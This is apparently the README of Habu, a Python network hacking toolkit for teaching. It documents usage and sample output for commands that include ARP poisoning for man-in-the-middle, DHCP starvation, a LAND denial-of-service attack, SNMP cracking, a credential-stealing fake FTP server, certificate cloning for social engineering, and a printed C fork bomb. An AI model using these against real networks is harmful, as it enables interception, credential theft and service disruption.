
ハッキングツールキット
私は Habu を開発しています。これは Python とネットワークハッキングの概念を教え(そして学ぶ)ためのものです。
現在のバージョンで実装されているテクニックは以下のとおりです:
このソフトウェアの開発は、Securetia SRL (https://www.securetia.com/) によってサポートされています。
様々な便利な使用シナリオは https://fportantier.github.io/hacking-with-habu/ に詳しく記載されています。
次のYouTubeプレイリストには、インストールと使用方法を示す動画があります:
https://www.youtube.com/watch?v=rgp9seLLyqE&list=PL4HZnX8VnFXqSvNw7x-bXOn0dgxNdfnVD
Habu の機能や改善点などについて議論したい場合は、Habu Telegram グループ (https://t.me/python_habu) をご利用ください。
問題やプルリクエストは GitHub リポジトリ (https://github.com/fportantier/habu) に送ってください。
推奨インストール方法:
::
$ python3 -m pip install --upgrade git+https://github.com/fportantier/habu.git
これは Python 3 がインストールされているすべてのシステムで動作するはずです。
注意: 一部のシステム(Microsoft Windows など)では、Python 実行可能ファイルの正しいパスを指定するようにコマンドを調整する必要があります。
Git リポジトリから直接アップグレードし、存在しないか名前が変更された古いコマンドをクリーンアップするコマンドが用意されました。
::
$ habu.upgrade
すべてのコマンドには '--help' オプションがあり、ヘルプ、引数、オプション、デフォルト値を表示します。
ほとんどのコマンドは '-v' オプションで詳細モードを実装しています。これにより、habu が何をしているかに関する追加情報を得ることができます。
arp.ping <#habuarpping>_arp.poison <#habuarppoison>_arp.sniff <#habuarpsniff>_asydns <#habuasydns>_b64 <#habub64>_cert.clone <#habucertclone>_cert.crtsh <#habucertcrtsh>_cert.names <#habucertnames>_config.del <#habuconfigdel>_config.set <#habuconfigset>_config.show <#habuconfigshow>_crack.luhn <#habucrackluhn>_crack.snmp <#habucracksnmp>_.. code-block::
Usage: habu.arp.ping [OPTIONS] IP
Send ARP packets to check if a host it's alive in the local network.
Example:
# habu.arp.ping 192.168.0.1
Ether / ARP is at a4:08:f5:19:17:a4 says 192.168.0.1 / Padding
Options: -i TEXT 使用するインターフェース -v 詳細出力 --help このメッセージを表示して終了
.. code-block::
Usage: habu.arp.poison [OPTIONS] VICTIM1 VICTIM2
Send ARP 'is-at' packets to each victim, poisoning their ARP tables for
send the traffic to your system.
Note: If you want a full working Man In The Middle attack, you need to
enable the packet forwarding on your operating system to act like a
router. You can do that using:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Example:
# habu.arpoison 192.168.0.1 192.168.0.77
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
...
Options: -i TEXT 使用するインターフェース -v 詳細 --help このメッセージを表示して終了
.. code-block::
Usage: habu.arp.sniff [OPTIONS]
Listen for ARP packets and show information for each device.
Columns: Seconds from last packet | IP | MAC | Vendor
Example:
1 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom Broadband SAS
7 192.168.0.2 64:bc:0c:33:e5:57 LG Electronics (Mobile Communications)
2 192.168.0.5 00:c2:c6:30:2c:58 Intel Corporate
6 192.168.0.7 54:f2:01:db:35:58 Samsung Electronics Co.,Ltd
Options: -i TEXT 使用するインターフェース --help このメッセージを表示して終了
.. code-block::
Usage: habu.asydns [OPTIONS]
Requests a DNS domain name based on public and private RSA keys using the
AsyDNS protocol https://github.com/portantier/asydns
Example:
$ habu.asydns -v
Generating RSA key ...
Loading RSA key ...
{
"ip": "181.31.41.231",
"name": "07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org"
}
$ dig +short 07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org
181.31.41.231
Options: -u TEXT API URL -g 新しい鍵ペアの生成を強制 -r 公開鍵を失効させる -v 詳細出力 --help このメッセージを表示して終了
.. code-block::
Usage: habu.b64 [OPTIONS] [F]
Encodes or decode data in base64, just like the command base64.
$ echo awesome | habu.b64
YXdlc29tZQo=
$ echo YXdlc29tZQo= | habu.b64 -d
awesome
Options: -d エンコードではなくデコード --help このメッセージを表示して終了
.. code-block::
Usage: habu.cert.clone [OPTIONS] HOSTNAME PORT KEYFILE CERTFILE
Connect to an SSL/TLS server, get the certificate and generate a
certificate with the same options and field values.
Note: The generated certificate is invalid, but can be used for social
engineering attacks
Example:
$ habu.certclone www.google.com 443 /tmp/key.pem /tmp/cert.pem
Options: --copy-extensions 証明書拡張をコピー(デフォルト: False) --expired 期限切れの証明書を生成(デフォルト: False) -v 詳細 --help このメッセージを表示して終了
.. code-block::
Usage: habu.cert.crtsh [OPTIONS] DOMAIN
Downloads the certificate transparency logs for a domain and check with
DNS queries if each subdomain exists.
Uses multithreading to improve the performance of the DNS queries.
Example:
$ habu.crtsh securetia.com
alt.securetia.com
other.securetia.com
www.securetia.com
Options: -c キャッシュを無効にする -n DNS サブドメイン検証を無効にする -v 詳細出力 --json 出力を JSON 形式で表示 --help このメッセージを表示して終了
.. code-block::
Usage: habu.cert.names [OPTIONS] [NETWORK]
Connects to each host/port and shows a summary of the certificate names.
The hosts to connect to are taken from two possible options:
1. -i option (default: stdin). A file where each line is a host or network
2. An argument that can be a host or network
If you use both methods, the hosts and networks are merged into one list.
Example:
$ habu.cert.names 2.18.60.240/29
2.18.60.241 443 i.s-microsoft.com microsoft.com privacy.microsoft.com
2.18.60.242 443 aod-ssl.itunes.apple.com aod.itunes.apple.com aodp-ssl.itunes.apple.com
2.18.60.243 443 *.mlb.com mlb.com
2.18.60.244 443 [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error (_ssl.c:1056)
2.18.60.245 443 cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-ubiservices.ubi.com
2.18.60.246 443 *.blog.sina.com.cn *.dmp.sina.cn
aod.itunes.apple.com
aodp-ssl.itunes.apple.com
aod-ssl.itunes.apple.com
*.blog.sina.com.cn
cert2-cn-public-ubiservices.ubi.com
cert2-cn-public-ws-ubiservices.ubi.com
*.dmp.sina.cn
i.s-microsoft.com microsoft.com
*.mlb.com mlb.com
privacy.microsoft.com
Options: -p TEXT 接続先ポート(カンマ区切りリスト) -i FILENAME 入力ファイル(デフォルト: 標準入力) -t FLOAT 各接続の待機時間(秒) -v 詳細出力 --json 出力を JSON 形式で表示 --help このメッセージを表示して終了
.. code-block::
Usage: habu.config.del [OPTIONS] KEY
Delete a KEY from the configuration.
Note: By default, KEY is converted to uppercase.
Example:
$ habu.config.del DNS_SERVER
Options: --help このメッセージを表示して終了
.. code-block::
Usage: habu.config.set [OPTIONS] KEY VALUE
Set VALUE to the config KEY.
Note: By default, KEY is converted to uppercase.
Example:
$ habu.config.set DNS_SERVER 8.8.8.8
Options: --help このメッセージを表示して終了
.. code-block::
Usage: habu.config.show [OPTIONS]
Show the current config.
Note: By default, the options with 'KEY' in their name are shadowed.
Example:
$ habu.config.show
{
"DNS_SERVER": "8.8.8.8",
"FERNET_KEY": "*************"
}
Options: -k, --show-keys キー値も表示 --option TEXT... 設定に書き込む(KEY VALUE) --help このメッセージを表示して終了
.. code-block::
Usage: habu.crack.luhn [OPTIONS] NUMBER
Having known values for a Luhn validated number, obtain the possible
unknown numbers.
Numbers that use the Luhn algorithm for validation are Credit Cards, IMEI,
National Provider Identifier in the United States, Canadian Social
Insurance Numbers, Israel ID Numbers and Greek Social Security Numbers
(ΑΜΚΑ).
The '-' characters are ignored.
Define the missing numbers with the 'x' character.
Reference: https://en.wikipedia.org/wiki/Luhn_algorithm
Example:
$ habu.crack.luhn 4509-xx08-3160-6445
4509000831606445
4509180831606445
4509260831606445
4509340831606445
4509420831606445
4509590831606445
4509670831606445
4509750831606445
4509830831606445
4509910831606445
Options: --help このメッセージを表示して終了
.. code-block::
Usage: habu.crack.snmp [OPTIONS] IP
Launches snmp-get queries against an IP, and tells you when finds a valid
community string (is a simple SNMP cracker).
The dictionary used is the distributed with the onesixtyone tool
https://github.com/trailofbits/onesixtyone
Example:
# habu.crack.snmp 179.125.234.210
Community found: private
Community found: public
Note: You can also receive messages like \<UNIVERSAL\> \<class
'scapy.asn1.asn1.ASN1\_Class\_metaclass'\>, I don't know how to supress
them for now.
Options: -p INTEGER 使用するポート -c TEXT コミュニティ(デフォルト: 最も使用されるもののリスト) -s 最初の一致で停止 -v 詳細 --help このメッセージを表示して終了
.. code-block::
Usage: habu.crypto.fernet [OPTIONS]
Fernet cipher.
Uses AES-128-CBC with HMAC
Note: You must use a key to cipher with Fernet.
Use the -k paramenter or set the FERNET_KEY configuration value.
The keys can be generated with the command habu.crypto.fernet.genkey
Reference: https://github.com/fernet/spec/blob/master/Spec.md
Example:
$ "I want to protect this string" | habu.crypto.fernet
gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA...
$ echo gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... | habu.crypto.fernet -d
I want to protect this string
Options: -k TEXT 鍵 -d 暗号化ではなく復号化 --ttl INTEGER タイムスタンプ検証の有効時間(TTL) -i FILENAME 入力ファイル(デフォルト: 標準入力) -o FILENAME 出力ファイル(デフォルト: 標準出力) --help このメッセージを表示して終了
.. code-block::
Usage: habu.crypto.fernet.genkey [OPTIONS]
Generate a new Fernet Key, optionally write it to ~/.habu.json
Example:
$ habu.crypto.fernet.genkey
xgvWCIvjwe9Uq7NBvwO796iI4dsGD623QOT9GWqnuhg=
Options: -w この鍵を ~/.habu.json に書き込む --help このメッセージを表示して終了
.. code-block::
Usage: habu.crypto.gppref [OPTIONS] PASSWORD
Decrypt the password of local users added via Windows 2008 Group Policy
Preferences.
This value is the 'cpassword' attribute embedded in the Groups.xml file,
stored in the domain controller's Sysvol share.
Example:
# habu.crypto.gppref AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
testpassword
Options: --help このメッセージを表示して終了
.. code-block::
Usage: habu.crypto.hasher [OPTIONS] [F]
Compute various hashes for the input data, that can be a file or a stream.
Example:
$ habu.crypto.hasher README.rst
md5 992a833cd162047daaa6a236b8ac15ae README.rst
ripemd160 0566f9141e65e57cae93e0e3b70d1d8c2ccb0623 README.rst
sha1 d7dbfd2c5e2828eb22f776550c826e4166526253 README.rst
sha256 6bb22d927e1b6307ced616821a1877b6cc35e... README.rst
sha512 8743f3eb12a11cf3edcc16e400fb14d599b4a... README.rst
whirlpool 96bcc083242e796992c0f3462f330811f9e8c... README.rst
You can also specify which algorithm to use. In such case, the output is
only the value of the calculated hash:
$ habu.hasher -a md5 README.rst
992a833cd162047daaa6a236b8ac15ae README.rst
Options: -a [md5|sha1|sha256|sha512|ripemd160|whirlpool] このアルゴリズムのみ(デフォルト: すべて) --help このメッセージを表示して終了
.. code-block::
Usage: habu.crypto.xor [OPTIONS]
XOR cipher.
Note: XOR is not a 'secure cipher'. If you need strong crypto you must use
algorithms like AES. You can use habu.fernet for that.
Example:
$ habu.xor -k mysecretkey -i /bin/ls > xored
$ habu.xor -k mysecretkey -i xored > uxored
$ sha1sum /bin/ls uxored
$ 6fcf930fcee1395a1c95f87dd38413e02deff4bb /bin/ls
$ 6fcf930fcee1395a1c95f87dd38413e02deff4bb uxored
Options: -k TEXT 暗号化鍵 -i FILENAME 入力ファイル(デフォルト: 標準入力) -o FILENAME 出力ファイル(デフォルト: 標準出力) --help このメッセージを表示して終了
.. code-block::
Usage: habu.data.enrich [OPTIONS]
Enrich data adding interesting information.
Example:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich
[
{
"asset": "8.8.8.8",
"family": "IPAddress",
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
},
{
"asset": "8.8.4.4",
"family": "IPAddress",
"asn": "15169",
"net": "8.8.4.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
}
]
Options: -i FILENAME 入力ファイル(デフォルト: 標準入力) -v 詳細出力 --help このメッセージを表示して終了
.. code-block::
Usage: habu.data.extract.domain [OPTIONS] [INFILE]
Extract valid domains from a file or stdin.
Optionally, check each domain for the presence of NS registers.
Example:
$ cat /var/log/some.log | habu.data.extract.domain -c
google.com
ibm.com
redhat.com
Options: -c ドメインに NS サーバーが定義されているか確認 -v 詳細出力 -j JSON 出力 --help このメッセージを表示して終了
.. code-block::
Usage: habu.data.extract.email [OPTIONS] [INFILE]
Extract email addresses from a file or stdin.
Example:
$ cat /var/log/auth.log | habu.data.extract.email
[email protected]
[email protected]
[email protected]
Options: -v 詳細出力 -j JSON 出力 --help このメッセージを表示して終了
.. code-block::
Usage: habu.data.extract.fqdn [OPTIONS] [INFILE]
Extract FQDNs (Fully Qualified Domain Names) from a file or stdin.
Example:
$ cat /var/log/some.log | habu.data.extract.fqdn
www.google.com
ibm.com
fileserver.redhat.com
Options: -c ホスト名が解決されるか確認 -v 詳細出力 -j JSON 出力 --help このメッセージを表示して終了
.. code-block::
Usage: habu.data.extract.ipv4 [OPTIONS] [INFILE]
Extract IPv4 addresses from a file or stdin.
Example:$ cat /var/log/auth.log | habu.data.extract.ipv4
172.217.162.4
23.52.213.96
190.210.43.70
オプション:
-j, --json JSON出力
-u, --unique 重複を削除
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.data.filter [OPTIONS] FIELD [gt|lt|eq|ne|ge|le|in|contains|defin
ed|undefined|true|false] [VALUE]
演算子に基づいてデータをフィルタリングします。
演算子リファレンス:
gt: より大きい
lt: より小さい
eq: 等しい
ne: 等しくない
ge: 以上
le: 以下
in: 値のリスト内(またはネットワーク内)
contains: 値を含む(またはネットワークアドレスを含む)
defined: 値が定義されている
undefined: 値が定義されていない
true: 値がTrue
false: 値がFalse
例:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq US
[
{
"item": "8.8.8.8",
"family": "ipv4_address",
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
}
]
ドキュメント: https://fportantier.github.io/hacking-with-habu/user/data-manipulation.html#data-enrichment
オプション:
-i FILENAME 入力ファイル(デフォルト: stdin)
-v 詳細出力
--not 比較を否定
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.data.select [OPTIONS] FIELD
JSON入力からフィールドを選択します。
例:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq US | habu.data.select asset
8.8.8.7
8.8.8.8
8.8.8.9
オプション:
-i FILENAME 入力ファイル(デフォルト: stdin)
-v 詳細出力
--json JSON出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.dhcp.discover [OPTIONS]
DHCPリクエストを送信し、応答したデバイスを表示します。
注意: '-v' を使用すると、応答に含まれるすべてのオプション(DNSサーバーなど)が表示されます。
# habu.dhcp_discover
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP
オプション:
-i TEXT 使用するインターフェース
-t INTEGER 応答を待機する時間(秒)
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.dhcp.starvation [OPTIONS]
偽装されたMACアドレスから複数のDHCPリクエストを送信し、DHCPサーバーのリースを枯渇させます。
利用可能なネットワークアドレスがすべて割り当てられると、DHCPサーバーは応答を送信しなくなります。
これにより、DHCPスプーフィングなどの攻撃が可能になります。
# habu.dhcp_starvation
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
オプション:
-i TEXT 使用するインターフェース
-t INTEGER 応答を待機する時間(秒)
-s INTEGER リクエスト間の時間(秒)
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.dns.lookup.forward [OPTIONS] HOSTNAME
指定されたホスト名の前方参照を実行します。
例:
$ habu.dns.lookup.forward google.com
{
"ipv4": "172.217.168.46",
"ipv6": "2a00:1450:400a:802::200e"
}
オプション:
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.dns.lookup.reverse [OPTIONS] IP_ADDRESS
指定されたIPアドレスの逆引き参照を実行します。
例:
$ $ habu.dns.lookup.reverse 8.8.8.8
{
"hostname": "google-public-dns-a.google.com"
}
オプション:
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.eicar [OPTIONS]
アンチマルウェアエンジンのテストに使用できるEICARテスト文字列を表示します。
詳細情報: http://www.eicar.org/86-0-Intended-use.html
例:
$ habu.eicar
X5O!P%@AP[4\XZP54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
オプション:
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.forkbomb [OPTIONS] [bash|batch|c|haskell|perl|php|python|ruby]
異なる言語でのフォーク爆弾の使い方を覚えるためのショートカットです。
現在サポートしている言語: bash, batch, c, haskell, perl, php, python, ruby
例:
$ habu.forkbomb c
#include <unistd.h>
int main()
{
while(1)
{
fork();
}
return 0;
}
オプション:
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.fqdn.finder [OPTIONS] [DOMAINS]...
様々な手法を使用して、指定されたドメインの有効なFQDNを取得します。
1. DNSゾーン転送ですべてのFQDNを試す
2. 証明書透過性ログを確認
3. 指定されたポートに接続し、SSL証明書を取得してFQDNを抽出
4. ウェブサイトに接続し、リンクからFQDNを取得
5. 一般的な名前のDNSブルートフォース
結果はDNSで解決できないFQDNを除去してクリーンアップされます
例:
$ habu.fqdn.finder educacionit.com
barometrosalarial.educacionit.com
blog.educacionit.com
ci.educacionit.com
educacionit.com
intranet.educacionit.com
lecdev.educacionit.com
lecweb.educacionit.com
mail.educacionit.com
plantillas.educacionit.com
www.educacionit.com
オプション:
-t FLOAT 各接続のタイムアウト
-v 詳細出力
--debug デバッグ出力
--connect / --no-connect 既知のFQDNのオープンポートSSL証明書から取得
--brute / --no-brute ドメインに対してDNSブルートフォースを実行
--links / --no-links ウェブサイトのリンクからFQDNを抽出
--xfr / --no-xfr ドメインに対してDNSゾーン転送を試行
--ctlog / --no-ctlog 証明書透過性ログからFQDNを取得
--json 出力をJSON形式で表示
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.gateway.find [OPTIONS] NETWORK
ルーターとして機能するホストを使用して外部IPに到達しようとします。
ネットワーク内のルーターを見つけるのに便利です。
まず、arpingを使用して生存ホストを検出し、MACアドレスを取得します。
次に、ネットワークパケットを作成し、各MACアドレスを宛先として設定します。
最後に、パケットを正しく転送したデバイスを表示します。
例:
# habu.find.gateway 192.168.0.0/24
192.168.0.1 a4:08:f5:19:17:a4 Sagemcom
192.168.0.7 b0:98:2b:5d:22:70 Sagemcom
192.168.0.8 b0:98:2b:5d:1f:e8 Sagemcom
オプション:
-i TEXT 使用するインターフェース
--host TEXT 到達するホスト(デフォルト: 8.8.8.8)
--tcp ICMPの代わりにTCPを使用
--dport INTEGER RANGE TCPの宛先ポート(デフォルト: 80)
--timeout INTEGER タイムアウト(秒)(デフォルト: 5)
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.host [OPTIONS]
habuが実行されているホストに関する情報を収集します。
例:
$ habu.host
{
"kernel": [
"Linux",
"demo123",
"5.0.6-200.fc29.x86_64",
"#1 SMP Wed Apr 3 15:09:51 UTC 2019",
"x86_64",
"x86_64"
],
"distribution": [
"Fedora",
"29",
"Twenty Nine"
],
"libc": [
"glibc",
"2.2.5"
],
"arch": "x86_64",
"python_version": "3.7.3",
"os_name": "Linux",
"cpu": "x86_64",
"static_hostname": "demo123",
"fqdn": "demo123.lab.sierra"
}
オプション:
-v 詳細出力。
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.http.headers [OPTIONS] SERVER
WebサーバーのHTTPヘッダーを取得します。
例:
$ habu.http.headers http://duckduckgo.com
{
"Server": "nginx",
"Date": "Sun, 14 Apr 2019 00:00:55 GMT",
"Content-Type": "text/html",
"Content-Length": "178",
"Connection": "keep-alive",
"Location": "https://duckduckgo.com/",
"X-Frame-Options": "SAMEORIGIN",
"Content-Security-Policy": "default-src https: blob: data: 'unsafe-inline' 'unsafe-eval'",
"X-XSS-Protection": "1;mode=block",
"X-Content-Type-Options": "nosniff",
"Referrer-Policy": "origin",
"Expect-CT": "max-age=0",
"Expires": "Mon, 13 Apr 2020 00:00:55 GMT",
"Cache-Control": "max-age=31536000"
}
オプション:
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.http.options [OPTIONS] SERVER
Webサーバーの利用可能なHTTPメソッドを取得します。
例:
$ habu.http.options -v http://google.com
{
"allowed": "GET, HEAD"
}
オプション:
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.http.tech [OPTIONS] URL
Wappalyzerのapps.jsonデータベースを使用して、Webアプリケーションで使用されている技術を特定します。
参考: https://github.com/AliasIO/Wappalyzer
注意: このツールは1つのリクエストのみ送信するため、ステルス性が高く疑われません。
$ habu.web.tech https://woocomerce.com
Google Tag Manager unknown
MySQL unknown
Nginx unknown
PHP unknown
Prototype unknown
RequireJS unknown
WooCommerce 3.8.0
WordPress 5.2.4
Yoast SEO 10.0.1
オプション:
--cache / --no-cache
--format [txt|csv|json] 出力形式
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.icmp.ping [OPTIONS] IP
クラシックなpingツールでICMPエコー要求を送信します。
# habu.icmp.ping 8.8.8.8
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
オプション:
-i TEXT 使用するインターフェース(デフォルト: 自動)
-c INTEGER 送信するパケット数(デフォルト: 無限)
-t INTEGER タイムアウト(秒)(デフォルト: 2)
-w INTEGER パケット間の秒数(デフォルト: 1)
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.ip.asn [OPTIONS] IP
Team Cymruのip2asnサービスを使用して、パブリックIPv4/IPv6に関する情報を取得します。
参考: https://www.team-cymru.com/IP-ASN-mapping.html
$ habu.ip.asn 8.8.8.8
{
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US",
"country": "United States"
}
オプション:
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.ip.geolocation [OPTIONS] IP_ADDRESS
https://ipapi.co/ からIPアドレスの地理位置情報を取得します。
例:
$ habu.ip.geolocation 8.8.8.8
{
"ip": "8.8.8.8",
"city": "Mountain View",
...
"asn": "AS15169",
"org": "Google LLC"
}
オプション:
-v 詳細出力。
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.ip.internal [OPTIONS]
ローカルインターフェースのローカルIPアドレスを取得します。
例:
$ habu.ip.internal
{
"lo": {
"ipv4": [
{
"addr": "127.0.0.1",
"netmask": "255.0.0.0",
"peer": "127.0.0.1"
}
],
"link_layer": [
{
"addr": "00:00:00:00:00:00",
"peer": "00:00:00:00:00:00"
}
],
"ipv6": [
{
"addr": "::1",
"netmask": "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"
}
]
},
...
オプション:
-v 詳細出力。
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.ip.public [OPTIONS]
https://api.ipify.org から接続のパブリックIPアドレスを取得します。
例:
$ habu.ip.public
80.219.53.185
オプション:
-4, --ipv4 パブリックIPv4アドレスを表示(デフォルト)
-6, --ipv6 パブリックIPv6アドレスを表示
-j, --json 出力をJSON形式で表示
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.karma [OPTIONS] HOST
Karmaサービス https://karma.securetia.com を使用して、IPを様々な脅威インテリジェンス/レピュテーションリストに対してチェックします。
$ habu.karma www.google.com
www.google.com -> 64.233.190.99
[
"hphosts_fsa",
"hphosts_psh",
"hphosts_emd"
]
注意: クエリするホストのホスト名またはIPのいずれかを使用できます。
オプション:
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.karma.bulk [OPTIONS] [INFILE]
Karmaオンラインサービスを使用して、どのIPアドレスがブラックリストに含まれているかを表示します。
例:
$ cat /var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk
172.217.162.4 spamhaus_drop,alienvault_spamming
23.52.213.96 CLEAN
190.210.43.70 alienvault_malicious
オプション:
--json JSON出力
--bad ブラックリストに含まれるエントリのみ表示
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.land [OPTIONS] IP
このコマンドはLAND攻撃を実装します。送信元IPアドレスを宛先IPと同じになるように偽装したパケットを送信します。また、送信元ポートと宛先ポートも同じにします。
この攻撃は非常に古く、Windows NT 4.0のような古いシステムでサービス拒否を引き起こすために使用できます。詳細はこちら:
https://en.wikipedia.org/wiki/LAND
# sudo habu.land 172.16.0.10
............
注意: 各ドット (.) は送信されたパケットです。 '-c' オプションで送信するパケット数を指定できます。デフォルトでは停止しません。また、'-p' オプションで宛先ポートを指定できます。
オプション:
-c INTEGER 送信するパケット数(デフォルト: 無限)
-p INTEGER 使用するポート(デフォルト: 135)
-i TEXT 使用するインターフェース
-v 詳細出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.nc [OPTIONS] HOST PORT
netcat/ncatの代替のようなもの。
実行はこれらの人気ツールの感覚をエミュレートします。
例:
$ habu.nc --crlf www.portantier.com 80
Connected to 45.77.113.133 80
HEAD / HTTP/1.0
HTTP/1.0 301 Moved Permanently
Date: Thu, 26 Jul 2018 21:10:51 GMT
Server: OpenBSD httpd
Connection: close
Content-Type: text/html
Content-Length: 443
Location: https://www.portantier.com/
オプション:
--family [4|6|46] IPアドレスファミリー
--ssl SSLを有効にする
--crlf 改行シーケンスにCRLFを使用
--protocol [tcp|udp] 使用するレイヤ4プロトコル
--source-ip TEXT 使用する送信元IP
--source-port INTEGER RANGE 使用する送信元ポート
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.net.contest [OPTIONS]
様々なサービスに接続を試み、インターネット接続を使用して到達可能かどうかを確認します。
例:
$ habu.net.contest
DNS: True
FTP: True
SSH: True
HTTP: True
HTTPS: True
オプション:
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.net.interfaces [OPTIONS]
システム上で利用可能なネットワークインターフェースを表示します。
例:
# habu.interfaces
# NAME MAC INET INET6
0 eth0 80:fa:5b:4b:f9:18 None None
1 lo 00:00:00:00:00:00 127.0.0.1 ::1
2 wlan0 f4:96:34:e5:ae:1b 192.168.0.6 None
3 vboxnet0 0a:00:27:00:00:00 192.168.56.1 fe80::800:27ff:fe00:0
オプション:
-j JSON形式で出力
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.nmap.excluded [OPTIONS]
nmap-servicesファイルに存在しないランダムなポートを表示します。そのため、nmapによって自動的にスキャンされません。
SSHやRDPのように、デフォルトポートで継続的にスキャンされるサービスに便利です。
例:
# habu.nmap.excluded
58567
オプション:
-l INTEGER RANGE 考慮する最も低いポート
-h INTEGER RANGE 考慮する最も高いポート
--help このメッセージを表示して終了。
.. code-block::
Usage: habu.nmap.open [OPTIONS] SCANFILE
nmapレポートを読み込み、オープンポートを表示します。
生成されたnmap出力からオープンと判明したポートを表示します。
他のツールの入力としてポートリストを迅速に再利用するために使用できます。
3つの出力形式(nmap、gnmap、xml)をサポートし、自動検出します。
例:
# habu.nmap.open portantier.nmap
22,80,443
オプション:
-p [tcp|udp|sctp] プロトコル(デフォルト=tcp)
--help このメッセージを表示して終了。
habu.nmap.ports ---------------Usage: habu.nmap.ports [OPTIONS] SCANFILE
nmapレポートを読み取り、テストされたポートを表示します。
生成されたnmap出力を読み取り、テストされたポートを表示します。
他のツールへの入力としてポートリストを迅速に再利用するために使用できます。
3つの出力形式(nmap、gnmap、xml)をサポートし、自動検出します。
例:
21,22,23,80,443
Options: -p [tcp|udp|sctp] プロトコル(デフォルト=tcp) --help このメッセージを表示して終了します。
.. code-block::
Usage: habu.protoscan [OPTIONS] IP
IPパケットを異なるプロトコルフィールドで送信し、利用可能なレイヤ4プロトコルを推測します。
出力には、「protocol-unreachable」ICMP応答を生成しないプロトコルが表示されます。
例:
$ sudo python cmd_ipscan.py 45.77.113.133
1 icmp
2 igmp
4 ipencap
6 tcp
17 udp
41 ipv6
47 gre
50 esp
51 ah
58 ipv6_icmp
97 etherip
112 vrrp
115 l2tp
132 sctp
137 mpls_in_ip
Options:
-i TEXT 使用するインターフェース
-t INTEGER 各プローブのタイムアウト(デフォルト:2秒)
--all すべてのプロトコルをプローブ(デフォルト:/etc/protocolsで定義)
-v 詳細出力
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.server.ftp [OPTIONS]
ユーザーの認証情報を盗むことを唯一の目的とする、基本的な偽のFTPサーバー。
SSL/TLSに対応。
例:
# sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
Listening on port 21
Accepted connection from ('192.168.0.27', 56832)
Credentials collected from 192.168.0.27! fabian 123456
Options:
-a TEXT バインドするアドレス(デフォルト:全て)
-p INTEGER 使用するポート(デフォルト:21)
--ssl SSL/TLSを有効にする(デフォルト:False)
--ssl-cert TEXT SSL/TLS証明書ファイル
--ssl-key TEXT SSL/TLS鍵ファイル
-v 詳細
--help このメッセージを表示して終了します。
.. code-block::
Usage: habu.shodan [OPTIONS] IP
シンプルなshodan APIクライアント。
shodanクエリのJSON結果を表示します。
例:
$ habu.shodan 216.58.222.36
asn AS15169
isp Google
